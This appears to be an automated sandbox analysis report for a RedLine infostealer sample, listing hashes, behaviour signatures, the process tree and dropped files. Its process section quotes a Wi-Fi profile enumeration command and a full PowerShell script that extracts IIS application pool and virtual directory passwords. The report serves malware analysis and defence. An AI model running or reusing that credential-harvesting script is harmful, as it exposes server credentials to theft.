Analysis

  • max time kernel
    94s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10-01-2025 23:42

General

  • Target

    JaffaCakes118_f162da7407ec0d56f153f08c817bf1ee.exe

  • Size

    6.2MB

  • MD5

    f162da7407ec0d56f153f08c817bf1ee

  • SHA1

    6ff148b2d2311a424a45f8f46e8cd6b740c41f63

  • SHA256

    d958f2039f2f14ff670d77c4c024c7a76351fbad9ef9fb28dfeabac5ae7f54fe

  • SHA512

    45dd63e6321e08c099dcc16566f96d45397f6ab4234065a98adb455355d6492fd01234482239ea631893bc943d792f22e0fe3255b98486d381c51af322831a34

  • SSDEEP

    49152:NP7rJgonyEuRj1OrE1Wi7xOX4AMVoEweTRK:hr2onuF8X4APe9

Malware Config

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • Redline family
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Network Share Discovery 1 TTPs

    Attempt to gather information on host network.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 41 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_f162da7407ec0d56f153f08c817bf1ee.exe
    "C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_f162da7407ec0d56f153f08c817bf1ee.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5072
    • C:\Users\Admin\AppData\Local\Temp\go-memexec-464307331.exe
      C:\Users\Admin\AppData\Local\Temp\go-memexec-464307331.exe
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Checks whether UAC is enabled
      • Enumerates connected drives
      • Checks processor information in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3500
      • C:\Windows\SYSTEM32\netsh.exe
        "netsh" wlan show profiles
        3⤵
        • Event Triggered Execution: Netsh Helper DLL
        • System Network Configuration Discovery: Wi-Fi Discovery
        PID:116
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" # Check if appcmd.exe exists if (Test-Path ('C:\Windows\system32\inetsrv\appcmd.exe')) { # Create data table to house results $DataTable = New-Object System.Data.DataTable # Create and name columns in the data table $Null = $DataTable.Columns.Add('user') $Null = $DataTable.Columns.Add('pass') $Null = $DataTable.Columns.Add('type') $Null = $DataTable.Columns.Add('vdir') $Null = $DataTable.Columns.Add('apppool') # Get list of application pools Invoke-Expression 'C:\Windows\system32\inetsrv\appcmd.exe list apppools /text:name' | ForEach-Object { # Get application pool name $PoolName = $_ # Get username $PoolUserCmd = 'C:\Windows\system32\inetsrv\appcmd.exe list apppool ' + $PoolName + ' /text:processmodel.username' $PoolUser = Invoke-Expression $PoolUserCmd # Get password $PoolPasswordCmd = 'C:\Windows\system32\inetsrv\appcmd.exe list apppool ' + $PoolName + ' /text:processmodel.password' $PoolPassword = Invoke-Expression $PoolPasswordCmd # Check if credentials exists if (($PoolPassword -ne '') -and ($PoolPassword -isnot [system.array])) { # Add credentials to database $Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName) } } # Get list of virtual directories Invoke-Expression 'C:\Windows\system32\inetsrv\appcmd.exe list vdir /text:vdir.name' | ForEach-Object { # Get Virtual Directory Name $VdirName = $_ # Get username $VdirUserCmd = 'C:\Windows\system32\inetsrv\appcmd.exe list vdir ' + $VdirName + ' /text:userName' $VdirUser = Invoke-Expression $VdirUserCmd # Get password $VdirPasswordCmd = 'C:\Windows\system32\inetsrv\appcmd.exe list vdir ' + $VdirName + ' /text:password' $VdirPassword = Invoke-Expression $VdirPasswordCmd # Check if credentials exists if (($VdirPassword -ne '') -and ($VdirPassword -isnot [system.array])) { # Add credentials to database $Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA') } } # Check if any passwords were found if( $DataTable.rows.Count -gt 0 ) { # Display results in list view that can feed into the pipeline #$DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique $DataTable | Select-Object user,pass,type,vdir,apppool } else { # Status user Write-host 'No application pool or virtual directory passwords were found.' } }
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3368

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jpumb1fy.1nw.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\go-memexec-464307331.exe

    Filesize

    1.8MB

    MD5

    cb81cf1955f75231e0ee811868e501ce

    SHA1

    616978067da6f166e12057b794b8bcfd3ce7877b

    SHA256

    f04b25b722a4d88283aec685d343eae86681a28fe5c4499c1929e85c743ad761

    SHA512

    853e721e8e56e9f68994a7c2c4822692ad70ea876f5022d1e492593b9c8d5a857b69dff5328bda6fe2250b0bf04fc45e1eb4470d977374f9cd540e100c8add42

  • memory/3368-12-0x000001699AAF0000-0x000001699AB12000-memory.dmp

    Filesize

    136KB

  • memory/3500-11-0x00007FFEFB173000-0x00007FFEFB175000-memory.dmp

    Filesize

    8KB

  • memory/3500-7-0x0000022464850000-0x000002246489A000-memory.dmp

    Filesize

    296KB

  • memory/3500-8-0x00007FFEFB170000-0x00007FFEFBC31000-memory.dmp

    Filesize

    10.8MB

  • memory/3500-6-0x00007FFEFB170000-0x00007FFEFBC31000-memory.dmp

    Filesize

    10.8MB

  • memory/3500-5-0x0000022462A70000-0x0000022462C4A000-memory.dmp

    Filesize

    1.9MB

  • memory/3500-4-0x00007FFEFB173000-0x00007FFEFB175000-memory.dmp

    Filesize

    8KB

  • memory/3500-22-0x00007FFEFB170000-0x00007FFEFBC31000-memory.dmp

    Filesize

    10.8MB

  • memory/3500-25-0x000002247DF70000-0x000002247E132000-memory.dmp

    Filesize

    1.8MB

  • memory/3500-26-0x00007FFEFB170000-0x00007FFEFBC31000-memory.dmp

    Filesize

    10.8MB

  • memory/3500-28-0x00007FFEFB170000-0x00007FFEFBC31000-memory.dmp

    Filesize

    10.8MB